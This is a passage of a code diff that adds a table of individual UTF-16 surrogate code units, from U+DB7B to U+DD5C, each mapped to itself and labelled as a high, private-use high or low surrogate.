+ ["\uDB7B", "\uDB7B"], /* Non Private Use High Surrogate */
+ ["\uDB7C", "\uDB7C"], /* Non Private Use High Surrogate */
+ ["\uDB7D", "\uDB7D"], /* Non Private Use High Surrogate */
+ ["\uDB7E", "\uDB7E"], /* Non Private Use High Surrogate */
+ ["\uDB7F", "\uDB7F"], /* Non Private Use High Surrogate */
+ ["\uDB80", "\uDB80"], /* Private Use High Surrogate */
+ ["\uDB81", "\uDB81"], /* Private Use High Surrogate */
+ ["\uDB82", "\uDB82"], /* Private Use High Surrogate */
+ ["\uDB83", "\uDB83"], /* Private Use High Surrogate */
+ ["\uDB84", "\uDB84"], /* Private Use High Surrogate */
+ ["\uDB85", "\uDB85"], /* Private Use High Surrogate */
+ ["\uDB86", "\uDB86"], /* Private Use High Surrogate */
+ ["\uDB87", "\uDB87"], /* Private Use High Surrogate */
+ ["\uDB88", "\uDB88"], /* Private Use High Surrogate */
+ ["\uDB89", "\uDB89"], /* Private Use High Surrogate */
+ ["\uDB8A", "\uDB8A"], /* Private Use High Surrogate */
+ ["\uDB8B", "\uDB8B"], /* Private Use High Surrogate */
+ ["\uDB8C", "\uDB8C"], /* Private Use High Surrogate */
+ ["\uDB8D", "\uDB8D"], /* Private Use High Surrogate */
+ ["\uDB8E", "\uDB8E"], /* Private Use High Surrogate */
+ ["\uDB8F", "\uDB8F"], /* Private Use High Surrogate */
+ ["\uDB90", "\uDB90"], /* Private Use High Surrogate */
+ ["\uDB91", "\uDB91"], /* Private Use High Surrogate */
+ ["\uDB92", "\uDB92"], /* Private Use High Surrogate */
+ ["\uDB93", "\uDB93"], /* Private Use High Surrogate */
+ ["\uDB94", "\uDB94"], /* Private Use High Surrogate */
+ ["\uDB95", "\uDB95"], /* Private Use High Surrogate */
+ ["\uDB96", "\uDB96"], /* Private Use High Surrogate */
+ ["\uDB97", "\uDB97"], /* Private Use High Surrogate */
+ ["\uDB98", "\uDB98"], /* Private Use High Surrogate */
+ ["\uDB99", "\uDB99"], /* Private Use High Surrogate */
+ ["\uDB9A", "\uDB9A"], /* Private Use High Surrogate */
+ ["\uDB9B", "\uDB9B"], /* Private Use High Surrogate */
+ ["\uDB9C", "\uDB9C"], /* Private Use High Surrogate */
+ ["\uDB9D", "\uDB9D"], /* Private Use High Surrogate */
+ ["\uDB9E", "\uDB9E"], /* Private Use High Surrogate */
+ ["\uDB9F", "\uDB9F"], /* Private Use High Surrogate */
+ ["\uDBA0", "\uDBA0"], /* Private Use High Surrogate */
+ ["\uDBA1", "\uDBA1"], /* Private Use High Surrogate */
+ ["\uDBA2", "\uDBA2"], /* Private Use High Surrogate */
+ ["\uDBA3", "\uDBA3"], /* Private Use High Surrogate */
+ ["\uDBA4", "\uDBA4"], /* Private Use High Surrogate */
+ ["\uDBA5", "\uDBA5"], /* Private Use High Surrogate */
+ ["\uDBA6", "\uDBA6"], /* Private Use High Surrogate */
+ ["\uDBA7", "\uDBA7"], /* Private Use High Surrogate */
+ ["\uDBA8", "\uDBA8"], /* Private Use High Surrogate */
+ ["\uDBA9", "\uDBA9"], /* Private Use High Surrogate */
+ ["\uDBAA", "\uDBAA"], /* Private Use High Surrogate */
+ ["\uDBAB", "\uDBAB"], /* Private Use High Surrogate */
+ ["\uDBAC", "\uDBAC"], /* Private Use High Surrogate */
+ ["\uDBAD", "\uDBAD"], /* Private Use High Surrogate */
+ ["\uDBAE", "\uDBAE"], /* Private Use High Surrogate */
+ ["\uDBAF", "\uDBAF"], /* Private Use High Surrogate */
+ ["\uDBB0", "\uDBB0"], /* Private Use High Surrogate */
+ ["\uDBB1", "\uDBB1"], /* Private Use High Surrogate */
+ ["\uDBB2", "\uDBB2"], /* Private Use High Surrogate */
+ ["\uDBB3", "\uDBB3"], /* Private Use High Surrogate */
+ ["\uDBB4", "\uDBB4"], /* Private Use High Surrogate */
+ ["\uDBB5", "\uDBB5"], /* Private Use High Surrogate */
+ ["\uDBB6", "\uDBB6"], /* Private Use High Surrogate */
+ ["\uDBB7", "\uDBB7"], /* Private Use High Surrogate */
+ ["\uDBB8", "\uDBB8"], /* Private Use High Surrogate */
+ ["\uDBB9", "\uDBB9"], /* Private Use High Surrogate */
+ ["\uDBBA", "\uDBBA"], /* Private Use High Surrogate */
+ ["\uDBBB", "\uDBBB"], /* Private Use High Surrogate */
+ ["\uDBBC", "\uDBBC"], /* Private Use High Surrogate */
+ ["\uDBBD", "\uDBBD"], /* Private Use High Surrogate */
+ ["\uDBBE", "\uDBBE"], /* Private Use High Surrogate */
+ ["\uDBBF", "\uDBBF"], /* Private Use High Surrogate */
+ ["\uDBC0", "\uDBC0"], /* Private Use High Surrogate */
+ ["\uDBC1", "\uDBC1"], /* Private Use High Surrogate */
+ ["\uDBC2", "\uDBC2"], /* Private Use High Surrogate */
+ ["\uDBC3", "\uDBC3"], /* Private Use High Surrogate */
+ ["\uDBC4", "\uDBC4"], /* Private Use High Surrogate */
+ ["\uDBC5", "\uDBC5"], /* Private Use High Surrogate */
+ ["\uDBC6", "\uDBC6"], /* Private Use High Surrogate */
+ ["\uDBC7", "\uDBC7"], /* Private Use High Surrogate */
+ ["\uDBC8", "\uDBC8"], /* Private Use High Surrogate */
+ ["\uDBC9", "\uDBC9"], /* Private Use High Surrogate */
+ ["\uDBCA", "\uDBCA"], /* Private Use High Surrogate */
+ ["\uDBCB", "\uDBCB"], /* Private Use High Surrogate */
+ ["\uDBCC", "\uDBCC"], /* Private Use High Surrogate */
+ ["\uDBCD", "\uDBCD"], /* Private Use High Surrogate */
+ ["\uDBCE", "\uDBCE"], /* Private Use High Surrogate */
+ ["\uDBCF", "\uDBCF"], /* Private Use High Surrogate */
+ ["\uDBD0", "\uDBD0"], /* Private Use High Surrogate */
+ ["\uDBD1", "\uDBD1"], /* Private Use High Surrogate */
+ ["\uDBD2", "\uDBD2"], /* Private Use High Surrogate */
+ ["\uDBD3", "\uDBD3"], /* Private Use High Surrogate */
+ ["\uDBD4", "\uDBD4"], /* Private Use High Surrogate */
+ ["\uDBD5", "\uDBD5"], /* Private Use High Surrogate */
+ ["\uDBD6", "\uDBD6"], /* Private Use High Surrogate */
+ ["\uDBD7", "\uDBD7"], /* Private Use High Surrogate */
+ ["\uDBD8", "\uDBD8"], /* Private Use High Surrogate */
+ ["\uDBD9", "\uDBD9"], /* Private Use High Surrogate */
+ ["\uDBDA", "\uDBDA"], /* Private Use High Surrogate */
+ ["\uDBDB", "\uDBDB"], /* Private Use High Surrogate */
+ ["\uDBDC", "\uDBDC"], /* Private Use High Surrogate */
+ ["\uDBDD", "\uDBDD"], /* Private Use High Surrogate */
+ ["\uDBDE", "\uDBDE"], /* Private Use High Surrogate */
+ ["\uDBDF", "\uDBDF"], /* Private Use High Surrogate */
+ ["\uDBE0", "\uDBE0"], /* Private Use High Surrogate */
+ ["\uDBE1", "\uDBE1"], /* Private Use High Surrogate */
+ ["\uDBE2", "\uDBE2"], /* Private Use High Surrogate */
+ ["\uDBE3", "\uDBE3"], /* Private Use High Surrogate */
+ ["\uDBE4", "\uDBE4"], /* Private Use High Surrogate */
+ ["\uDBE5", "\uDBE5"], /* Private Use High Surrogate */
+ ["\uDBE6", "\uDBE6"], /* Private Use High Surrogate */
+ ["\uDBE7", "\uDBE7"], /* Private Use High Surrogate */
+ ["\uDBE8", "\uDBE8"], /* Private Use High Surrogate */
+ ["\uDBE9", "\uDBE9"], /* Private Use High Surrogate */
+ ["\uDBEA", "\uDBEA"], /* Private Use High Surrogate */
+ ["\uDBEB", "\uDBEB"], /* Private Use High Surrogate */
+ ["\uDBEC", "\uDBEC"], /* Private Use High Surrogate */
+ ["\uDBED", "\uDBED"], /* Private Use High Surrogate */
+ ["\uDBEE", "\uDBEE"], /* Private Use High Surrogate */
+ ["\uDBEF", "\uDBEF"], /* Private Use High Surrogate */
+ ["\uDBF0", "\uDBF0"], /* Private Use High Surrogate */
+ ["\uDBF1", "\uDBF1"], /* Private Use High Surrogate */
+ ["\uDBF2", "\uDBF2"], /* Private Use High Surrogate */
+ ["\uDBF3", "\uDBF3"], /* Private Use High Surrogate */
+ ["\uDBF4", "\uDBF4"], /* Private Use High Surrogate */
+ ["\uDBF5", "\uDBF5"], /* Private Use High Surrogate */
+ ["\uDBF6", "\uDBF6"], /* Private Use High Surrogate */
+ ["\uDBF7", "\uDBF7"], /* Private Use High Surrogate */
+ ["\uDBF8", "\uDBF8"], /* Private Use High Surrogate */
+ ["\uDBF9", "\uDBF9"], /* Private Use High Surrogate */
+ ["\uDBFA", "\uDBFA"], /* Private Use High Surrogate */
+ ["\uDBFB", "\uDBFB"], /* Private Use High Surrogate */
+ ["\uDBFC", "\uDBFC"], /* Private Use High Surrogate */
+ ["\uDBFD", "\uDBFD"], /* Private Use High Surrogate */
+ ["\uDBFE", "\uDBFE"], /* Private Use High Surrogate */
+ ["\uDBFF", "\uDBFF"], /* Private Use High Surrogate */
+ ["\uDC00", "\uDC00"], /* Low Surrogate */
+ ["\uDC01", "\uDC01"], /* Low Surrogate */
+ ["\uDC02", "\uDC02"], /* Low Surrogate */
+ ["\uDC03", "\uDC03"], /* Low Surrogate */
+ ["\uDC04", "\uDC04"], /* Low Surrogate */
+ ["\uDC05", "\uDC05"], /* Low Surrogate */
+ ["\uDC06", "\uDC06"], /* Low Surrogate */
+ ["\uDC07", "\uDC07"], /* Low Surrogate */
+ ["\uDC08", "\uDC08"], /* Low Surrogate */
+ ["\uDC09", "\uDC09"], /* Low Surrogate */
+ ["\uDC0A", "\uDC0A"], /* Low Surrogate */
+ ["\uDC0B", "\uDC0B"], /* Low Surrogate */
+ ["\uDC0C", "\uDC0C"], /* Low Surrogate */
+ ["\uDC0D", "\uDC0D"], /* Low Surrogate */
+ ["\uDC0E", "\uDC0E"], /* Low Surrogate */
+ ["\uDC0F", "\uDC0F"], /* Low Surrogate */
+ ["\uDC10", "\uDC10"], /* Low Surrogate */
+ ["\uDC11", "\uDC11"], /* Low Surrogate */
+ ["\uDC12", "\uDC12"], /* Low Surrogate */
+ ["\uDC13", "\uDC13"], /* Low Surrogate */
+ ["\uDC14", "\uDC14"], /* Low Surrogate */
+ ["\uDC15", "\uDC15"], /* Low Surrogate */
+ ["\uDC16", "\uDC16"], /* Low Surrogate */
+ ["\uDC17", "\uDC17"], /* Low Surrogate */
+ ["\uDC18", "\uDC18"], /* Low Surrogate */
+ ["\uDC19", "\uDC19"], /* Low Surrogate */
+ ["\uDC1A", "\uDC1A"], /* Low Surrogate */
+ ["\uDC1B", "\uDC1B"], /* Low Surrogate */
+ ["\uDC1C", "\uDC1C"], /* Low Surrogate */
+ ["\uDC1D", "\uDC1D"], /* Low Surrogate */
+ ["\uDC1E", "\uDC1E"], /* Low Surrogate */
+ ["\uDC1F", "\uDC1F"], /* Low Surrogate */
+ ["\uDC20", "\uDC20"], /* Low Surrogate */
+ ["\uDC21", "\uDC21"], /* Low Surrogate */
+ ["\uDC22", "\uDC22"], /* Low Surrogate */
+ ["\uDC23", "\uDC23"], /* Low Surrogate */
+ ["\uDC24", "\uDC24"], /* Low Surrogate */
+ ["\uDC25", "\uDC25"], /* Low Surrogate */
+ ["\uDC26", "\uDC26"], /* Low Surrogate */
+ ["\uDC27", "\uDC27"], /* Low Surrogate */
+ ["\uDC28", "\uDC28"], /* Low Surrogate */
+ ["\uDC29", "\uDC29"], /* Low Surrogate */
+ ["\uDC2A", "\uDC2A"], /* Low Surrogate */
+ ["\uDC2B", "\uDC2B"], /* Low Surrogate */
+ ["\uDC2C", "\uDC2C"], /* Low Surrogate */
+ ["\uDC2D", "\uDC2D"], /* Low Surrogate */
+ ["\uDC2E", "\uDC2E"], /* Low Surrogate */
+ ["\uDC2F", "\uDC2F"], /* Low Surrogate */
+ ["\uDC30", "\uDC30"], /* Low Surrogate */
+ ["\uDC31", "\uDC31"], /* Low Surrogate */
+ ["\uDC32", "\uDC32"], /* Low Surrogate */
+ ["\uDC33", "\uDC33"], /* Low Surrogate */
+ ["\uDC34", "\uDC34"], /* Low Surrogate */
+ ["\uDC35", "\uDC35"], /* Low Surrogate */
+ ["\uDC36", "\uDC36"], /* Low Surrogate */
+ ["\uDC37", "\uDC37"], /* Low Surrogate */
+ ["\uDC38", "\uDC38"], /* Low Surrogate */
+ ["\uDC39", "\uDC39"], /* Low Surrogate */
+ ["\uDC3A", "\uDC3A"], /* Low Surrogate */
+ ["\uDC3B", "\uDC3B"], /* Low Surrogate */
+ ["\uDC3C", "\uDC3C"], /* Low Surrogate */
+ ["\uDC3D", "\uDC3D"], /* Low Surrogate */
+ ["\uDC3E", "\uDC3E"], /* Low Surrogate */
+ ["\uDC3F", "\uDC3F"], /* Low Surrogate */
+ ["\uDC40", "\uDC40"], /* Low Surrogate */
+ ["\uDC41", "\uDC41"], /* Low Surrogate */
+ ["\uDC42", "\uDC42"], /* Low Surrogate */
+ ["\uDC43", "\uDC43"], /* Low Surrogate */
+ ["\uDC44", "\uDC44"], /* Low Surrogate */
+ ["\uDC45", "\uDC45"], /* Low Surrogate */
+ ["\uDC46", "\uDC46"], /* Low Surrogate */
+ ["\uDC47", "\uDC47"], /* Low Surrogate */
+ ["\uDC48", "\uDC48"], /* Low Surrogate */
+ ["\uDC49", "\uDC49"], /* Low Surrogate */
+ ["\uDC4A", "\uDC4A"], /* Low Surrogate */
+ ["\uDC4B", "\uDC4B"], /* Low Surrogate */
+ ["\uDC4C", "\uDC4C"], /* Low Surrogate */
+ ["\uDC4D", "\uDC4D"], /* Low Surrogate */
+ ["\uDC4E", "\uDC4E"], /* Low Surrogate */
+ ["\uDC4F", "\uDC4F"], /* Low Surrogate */
+ ["\uDC50", "\uDC50"], /* Low Surrogate */
+ ["\uDC51", "\uDC51"], /* Low Surrogate */
+ ["\uDC52", "\uDC52"], /* Low Surrogate */
+ ["\uDC53", "\uDC53"], /* Low Surrogate */
+ ["\uDC54", "\uDC54"], /* Low Surrogate */
+ ["\uDC55", "\uDC55"], /* Low Surrogate */
+ ["\uDC56", "\uDC56"], /* Low Surrogate */
+ ["\uDC57", "\uDC57"], /* Low Surrogate */
+ ["\uDC58", "\uDC58"], /* Low Surrogate */
+ ["\uDC59", "\uDC59"], /* Low Surrogate */
+ ["\uDC5A", "\uDC5A"], /* Low Surrogate */
+ ["\uDC5B", "\uDC5B"], /* Low Surrogate */
+ ["\uDC5C", "\uDC5C"], /* Low Surrogate */
+ ["\uDC5D", "\uDC5D"], /* Low Surrogate */
+ ["\uDC5E", "\uDC5E"], /* Low Surrogate */
+ ["\uDC5F", "\uDC5F"], /* Low Surrogate */
+ ["\uDC60", "\uDC60"], /* Low Surrogate */
+ ["\uDC61", "\uDC61"], /* Low Surrogate */
+ ["\uDC62", "\uDC62"], /* Low Surrogate */
+ ["\uDC63", "\uDC63"], /* Low Surrogate */
+ ["\uDC64", "\uDC64"], /* Low Surrogate */
+ ["\uDC65", "\uDC65"], /* Low Surrogate */
+ ["\uDC66", "\uDC66"], /* Low Surrogate */
+ ["\uDC67", "\uDC67"], /* Low Surrogate */
+ ["\uDC68", "\uDC68"], /* Low Surrogate */
+ ["\uDC69", "\uDC69"], /* Low Surrogate */
+ ["\uDC6A", "\uDC6A"], /* Low Surrogate */
+ ["\uDC6B", "\uDC6B"], /* Low Surrogate */
+ ["\uDC6C", "\uDC6C"], /* Low Surrogate */
+ ["\uDC6D", "\uDC6D"], /* Low Surrogate */
+ ["\uDC6E", "\uDC6E"], /* Low Surrogate */
+ ["\uDC6F", "\uDC6F"], /* Low Surrogate */
+ ["\uDC70", "\uDC70"], /* Low Surrogate */
+ ["\uDC71", "\uDC71"], /* Low Surrogate */
+ ["\uDC72", "\uDC72"], /* Low Surrogate */
+ ["\uDC73", "\uDC73"], /* Low Surrogate */
+ ["\uDC74", "\uDC74"], /* Low Surrogate */
+ ["\uDC75", "\uDC75"], /* Low Surrogate */
+ ["\uDC76", "\uDC76"], /* Low Surrogate */
+ ["\uDC77", "\uDC77"], /* Low Surrogate */
+ ["\uDC78", "\uDC78"], /* Low Surrogate */
+ ["\uDC79", "\uDC79"], /* Low Surrogate */
+ ["\uDC7A", "\uDC7A"], /* Low Surrogate */
+ ["\uDC7B", "\uDC7B"], /* Low Surrogate */
+ ["\uDC7C", "\uDC7C"], /* Low Surrogate */
+ ["\uDC7D", "\uDC7D"], /* Low Surrogate */
+ ["\uDC7E", "\uDC7E"], /* Low Surrogate */
+ ["\uDC7F", "\uDC7F"], /* Low Surrogate */
+ ["\uDC80", "\uDC80"], /* Low Surrogate */
+ ["\uDC81", "\uDC81"], /* Low Surrogate */
+ ["\uDC82", "\uDC82"], /* Low Surrogate */
+ ["\uDC83", "\uDC83"], /* Low Surrogate */
+ ["\uDC84", "\uDC84"], /* Low Surrogate */
+ ["\uDC85", "\uDC85"], /* Low Surrogate */
+ ["\uDC86", "\uDC86"], /* Low Surrogate */
+ ["\uDC87", "\uDC87"], /* Low Surrogate */
+ ["\uDC88", "\uDC88"], /* Low Surrogate */
+ ["\uDC89", "\uDC89"], /* Low Surrogate */
+ ["\uDC8A", "\uDC8A"], /* Low Surrogate */
+ ["\uDC8B", "\uDC8B"], /* Low Surrogate */
+ ["\uDC8C", "\uDC8C"], /* Low Surrogate */
+ ["\uDC8D", "\uDC8D"], /* Low Surrogate */
+ ["\uDC8E", "\uDC8E"], /* Low Surrogate */
+ ["\uDC8F", "\uDC8F"], /* Low Surrogate */
+ ["\uDC90", "\uDC90"], /* Low Surrogate */
+ ["\uDC91", "\uDC91"], /* Low Surrogate */
+ ["\uDC92", "\uDC92"], /* Low Surrogate */
+ ["\uDC93", "\uDC93"], /* Low Surrogate */
+ ["\uDC94", "\uDC94"], /* Low Surrogate */
+ ["\uDC95", "\uDC95"], /* Low Surrogate */
+ ["\uDC96", "\uDC96"], /* Low Surrogate */
+ ["\uDC97", "\uDC97"], /* Low Surrogate */
+ ["\uDC98", "\uDC98"], /* Low Surrogate */
+ ["\uDC99", "\uDC99"], /* Low Surrogate */
+ ["\uDC9A", "\uDC9A"], /* Low Surrogate */
+ ["\uDC9B", "\uDC9B"], /* Low Surrogate */
+ ["\uDC9C", "\uDC9C"], /* Low Surrogate */
+ ["\uDC9D", "\uDC9D"], /* Low Surrogate */
+ ["\uDC9E", "\uDC9E"], /* Low Surrogate */
+ ["\uDC9F", "\uDC9F"], /* Low Surrogate */
+ ["\uDCA0", "\uDCA0"], /* Low Surrogate */
+ ["\uDCA1", "\uDCA1"], /* Low Surrogate */
+ ["\uDCA2", "\uDCA2"], /* Low Surrogate */
+ ["\uDCA3", "\uDCA3"], /* Low Surrogate */
+ ["\uDCA4", "\uDCA4"], /* Low Surrogate */
+ ["\uDCA5", "\uDCA5"], /* Low Surrogate */
+ ["\uDCA6", "\uDCA6"], /* Low Surrogate */
+ ["\uDCA7", "\uDCA7"], /* Low Surrogate */
+ ["\uDCA8", "\uDCA8"], /* Low Surrogate */
+ ["\uDCA9", "\uDCA9"], /* Low Surrogate */
+ ["\uDCAA", "\uDCAA"], /* Low Surrogate */
+ ["\uDCAB", "\uDCAB"], /* Low Surrogate */
+ ["\uDCAC", "\uDCAC"], /* Low Surrogate */
+ ["\uDCAD", "\uDCAD"], /* Low Surrogate */
+ ["\uDCAE", "\uDCAE"], /* Low Surrogate */
+ ["\uDCAF", "\uDCAF"], /* Low Surrogate */
+ ["\uDCB0", "\uDCB0"], /* Low Surrogate */
+ ["\uDCB1", "\uDCB1"], /* Low Surrogate */
+ ["\uDCB2", "\uDCB2"], /* Low Surrogate */
+ ["\uDCB3", "\uDCB3"], /* Low Surrogate */
+ ["\uDCB4", "\uDCB4"], /* Low Surrogate */
+ ["\uDCB5", "\uDCB5"], /* Low Surrogate */
+ ["\uDCB6", "\uDCB6"], /* Low Surrogate */
+ ["\uDCB7", "\uDCB7"], /* Low Surrogate */
+ ["\uDCB8", "\uDCB8"], /* Low Surrogate */
+ ["\uDCB9", "\uDCB9"], /* Low Surrogate */
+ ["\uDCBA", "\uDCBA"], /* Low Surrogate */
+ ["\uDCBB", "\uDCBB"], /* Low Surrogate */
+ ["\uDCBC", "\uDCBC"], /* Low Surrogate */
+ ["\uDCBD", "\uDCBD"], /* Low Surrogate */
+ ["\uDCBE", "\uDCBE"], /* Low Surrogate */
+ ["\uDCBF", "\uDCBF"], /* Low Surrogate */
+ ["\uDCC0", "\uDCC0"], /* Low Surrogate */
+ ["\uDCC1", "\uDCC1"], /* Low Surrogate */
+ ["\uDCC2", "\uDCC2"], /* Low Surrogate */
+ ["\uDCC3", "\uDCC3"], /* Low Surrogate */
+ ["\uDCC4", "\uDCC4"], /* Low Surrogate */
+ ["\uDCC5", "\uDCC5"], /* Low Surrogate */
+ ["\uDCC6", "\uDCC6"], /* Low Surrogate */
+ ["\uDCC7", "\uDCC7"], /* Low Surrogate */
+ ["\uDCC8", "\uDCC8"], /* Low Surrogate */
+ ["\uDCC9", "\uDCC9"], /* Low Surrogate */
+ ["\uDCCA", "\uDCCA"], /* Low Surrogate */
+ ["\uDCCB", "\uDCCB"], /* Low Surrogate */
+ ["\uDCCC", "\uDCCC"], /* Low Surrogate */
+ ["\uDCCD", "\uDCCD"], /* Low Surrogate */
+ ["\uDCCE", "\uDCCE"], /* Low Surrogate */
+ ["\uDCCF", "\uDCCF"], /* Low Surrogate */
+ ["\uDCD0", "\uDCD0"], /* Low Surrogate */
+ ["\uDCD1", "\uDCD1"], /* Low Surrogate */
+ ["\uDCD2", "\uDCD2"], /* Low Surrogate */
+ ["\uDCD3", "\uDCD3"], /* Low Surrogate */
+ ["\uDCD4", "\uDCD4"], /* Low Surrogate */
+ ["\uDCD5", "\uDCD5"], /* Low Surrogate */
+ ["\uDCD6", "\uDCD6"], /* Low Surrogate */
+ ["\uDCD7", "\uDCD7"], /* Low Surrogate */
+ ["\uDCD8", "\uDCD8"], /* Low Surrogate */
+ ["\uDCD9", "\uDCD9"], /* Low Surrogate */
+ ["\uDCDA", "\uDCDA"], /* Low Surrogate */
+ ["\uDCDB", "\uDCDB"], /* Low Surrogate */
+ ["\uDCDC", "\uDCDC"], /* Low Surrogate */
+ ["\uDCDD", "\uDCDD"], /* Low Surrogate */
+ ["\uDCDE", "\uDCDE"], /* Low Surrogate */
+ ["\uDCDF", "\uDCDF"], /* Low Surrogate */
+ ["\uDCE0", "\uDCE0"], /* Low Surrogate */
+ ["\uDCE1", "\uDCE1"], /* Low Surrogate */
+ ["\uDCE2", "\uDCE2"], /* Low Surrogate */
+ ["\uDCE3", "\uDCE3"], /* Low Surrogate */
+ ["\uDCE4", "\uDCE4"], /* Low Surrogate */
+ ["\uDCE5", "\uDCE5"], /* Low Surrogate */
+ ["\uDCE6", "\uDCE6"], /* Low Surrogate */
+ ["\uDCE7", "\uDCE7"], /* Low Surrogate */
+ ["\uDCE8", "\uDCE8"], /* Low Surrogate */
+ ["\uDCE9", "\uDCE9"], /* Low Surrogate */
+ ["\uDCEA", "\uDCEA"], /* Low Surrogate */
+ ["\uDCEB", "\uDCEB"], /* Low Surrogate */
+ ["\uDCEC", "\uDCEC"], /* Low Surrogate */
+ ["\uDCED", "\uDCED"], /* Low Surrogate */
+ ["\uDCEE", "\uDCEE"], /* Low Surrogate */
+ ["\uDCEF", "\uDCEF"], /* Low Surrogate */
+ ["\uDCF0", "\uDCF0"], /* Low Surrogate */
+ ["\uDCF1", "\uDCF1"], /* Low Surrogate */
+ ["\uDCF2", "\uDCF2"], /* Low Surrogate */
+ ["\uDCF3", "\uDCF3"], /* Low Surrogate */
+ ["\uDCF4", "\uDCF4"], /* Low Surrogate */
+ ["\uDCF5", "\uDCF5"], /* Low Surrogate */
+ ["\uDCF6", "\uDCF6"], /* Low Surrogate */
+ ["\uDCF7", "\uDCF7"], /* Low Surrogate */
+ ["\uDCF8", "\uDCF8"], /* Low Surrogate */
+ ["\uDCF9", "\uDCF9"], /* Low Surrogate */
+ ["\uDCFA", "\uDCFA"], /* Low Surrogate */
+ ["\uDCFB", "\uDCFB"], /* Low Surrogate */
+ ["\uDCFC", "\uDCFC"], /* Low Surrogate */
+ ["\uDCFD", "\uDCFD"], /* Low Surrogate */
+ ["\uDCFE", "\uDCFE"], /* Low Surrogate */
+ ["\uDCFF", "\uDCFF"], /* Low Surrogate */
+ ["\uDD00", "\uDD00"], /* Low Surrogate */
+ ["\uDD01", "\uDD01"], /* Low Surrogate */
+ ["\uDD02", "\uDD02"], /* Low Surrogate */
+ ["\uDD03", "\uDD03"], /* Low Surrogate */
+ ["\uDD04", "\uDD04"], /* Low Surrogate */
+ ["\uDD05", "\uDD05"], /* Low Surrogate */
+ ["\uDD06", "\uDD06"], /* Low Surrogate */
+ ["\uDD07", "\uDD07"], /* Low Surrogate */
+ ["\uDD08", "\uDD08"], /* Low Surrogate */
+ ["\uDD09", "\uDD09"], /* Low Surrogate */
+ ["\uDD0A", "\uDD0A"], /* Low Surrogate */
+ ["\uDD0B", "\uDD0B"], /* Low Surrogate */
+ ["\uDD0C", "\uDD0C"], /* Low Surrogate */
+ ["\uDD0D", "\uDD0D"], /* Low Surrogate */
+ ["\uDD0E", "\uDD0E"], /* Low Surrogate */
+ ["\uDD0F", "\uDD0F"], /* Low Surrogate */
+ ["\uDD10", "\uDD10"], /* Low Surrogate */
+ ["\uDD11", "\uDD11"], /* Low Surrogate */
+ ["\uDD12", "\uDD12"], /* Low Surrogate */
+ ["\uDD13", "\uDD13"], /* Low Surrogate */
+ ["\uDD14", "\uDD14"], /* Low Surrogate */
+ ["\uDD15", "\uDD15"], /* Low Surrogate */
+ ["\uDD16", "\uDD16"], /* Low Surrogate */
+ ["\uDD17", "\uDD17"], /* Low Surrogate */
+ ["\uDD18", "\uDD18"], /* Low Surrogate */
+ ["\uDD19", "\uDD19"], /* Low Surrogate */
+ ["\uDD1A", "\uDD1A"], /* Low Surrogate */
+ ["\uDD1B", "\uDD1B"], /* Low Surrogate */
+ ["\uDD1C", "\uDD1C"], /* Low Surrogate */
+ ["\uDD1D", "\uDD1D"], /* Low Surrogate */
+ ["\uDD1E", "\uDD1E"], /* Low Surrogate */
+ ["\uDD1F", "\uDD1F"], /* Low Surrogate */
+ ["\uDD20", "\uDD20"], /* Low Surrogate */
+ ["\uDD21", "\uDD21"], /* Low Surrogate */
+ ["\uDD22", "\uDD22"], /* Low Surrogate */
+ ["\uDD23", "\uDD23"], /* Low Surrogate */
+ ["\uDD24", "\uDD24"], /* Low Surrogate */
+ ["\uDD25", "\uDD25"], /* Low Surrogate */
+ ["\uDD26", "\uDD26"], /* Low Surrogate */
+ ["\uDD27", "\uDD27"], /* Low Surrogate */
+ ["\uDD28", "\uDD28"], /* Low Surrogate */
+ ["\uDD29", "\uDD29"], /* Low Surrogate */
+ ["\uDD2A", "\uDD2A"], /* Low Surrogate */
+ ["\uDD2B", "\uDD2B"], /* Low Surrogate */
+ ["\uDD2C", "\uDD2C"], /* Low Surrogate */
+ ["\uDD2D", "\uDD2D"], /* Low Surrogate */
+ ["\uDD2E", "\uDD2E"], /* Low Surrogate */
+ ["\uDD2F", "\uDD2F"], /* Low Surrogate */
+ ["\uDD30", "\uDD30"], /* Low Surrogate */
+ ["\uDD31", "\uDD31"], /* Low Surrogate */
+ ["\uDD32", "\uDD32"], /* Low Surrogate */
+ ["\uDD33", "\uDD33"], /* Low Surrogate */
+ ["\uDD34", "\uDD34"], /* Low Surrogate */
+ ["\uDD35", "\uDD35"], /* Low Surrogate */
+ ["\uDD36", "\uDD36"], /* Low Surrogate */
+ ["\uDD37", "\uDD37"], /* Low Surrogate */
+ ["\uDD38", "\uDD38"], /* Low Surrogate */
+ ["\uDD39", "\uDD39"], /* Low Surrogate */
+ ["\uDD3A", "\uDD3A"], /* Low Surrogate */
+ ["\uDD3B", "\uDD3B"], /* Low Surrogate */
+ ["\uDD3C", "\uDD3C"], /* Low Surrogate */
+ ["\uDD3D", "\uDD3D"], /* Low Surrogate */
+ ["\uDD3E", "\uDD3E"], /* Low Surrogate */
+ ["\uDD3F", "\uDD3F"], /* Low Surrogate */
+ ["\uDD40", "\uDD40"], /* Low Surrogate */
+ ["\uDD41", "\uDD41"], /* Low Surrogate */
+ ["\uDD42", "\uDD42"], /* Low Surrogate */
+ ["\uDD43", "\uDD43"], /* Low Surrogate */
+ ["\uDD44", "\uDD44"], /* Low Surrogate */
+ ["\uDD45", "\uDD45"], /* Low Surrogate */
+ ["\uDD46", "\uDD46"], /* Low Surrogate */
+ ["\uDD47", "\uDD47"], /* Low Surrogate */
+ ["\uDD48", "\uDD48"], /* Low Surrogate */
+ ["\uDD49", "\uDD49"], /* Low Surrogate */
+ ["\uDD4A", "\uDD4A"], /* Low Surrogate */
+ ["\uDD4B", "\uDD4B"], /* Low Surrogate */
+ ["\uDD4C", "\uDD4C"], /* Low Surrogate */
+ ["\uDD4D", "\uDD4D"], /* Low Surrogate */
+ ["\uDD4E", "\uDD4E"], /* Low Surrogate */
+ ["\uDD4F", "\uDD4F"], /* Low Surrogate */
+ ["\uDD50", "\uDD50"], /* Low Surrogate */
+ ["\uDD51", "\uDD51"], /* Low Surrogate */
+ ["\uDD52", "\uDD52"], /* Low Surrogate */
+ ["\uDD53", "\uDD53"], /* Low Surrogate */
+ ["\uDD54", "\uDD54"], /* Low Surrogate */
+ ["\uDD55", "\uDD55"], /* Low Surrogate */
+ ["\uDD56", "\uDD56"], /* Low Surrogate */
+ ["\uDD57", "\uDD57"], /* Low Surrogate */
+ ["\uDD58", "\uDD58"], /* Low Surrogate */
+ ["\uDD59", "\uDD59"], /* Low Surrogate */
+ ["\uDD5A", "\uDD5A"], /* Low Surrogate */
+ ["\uDD5B", "\uDD5B"], /* Low Surrogate */
+ ["\uDD5C", "\uDD5C"], /* Low Surrogate */
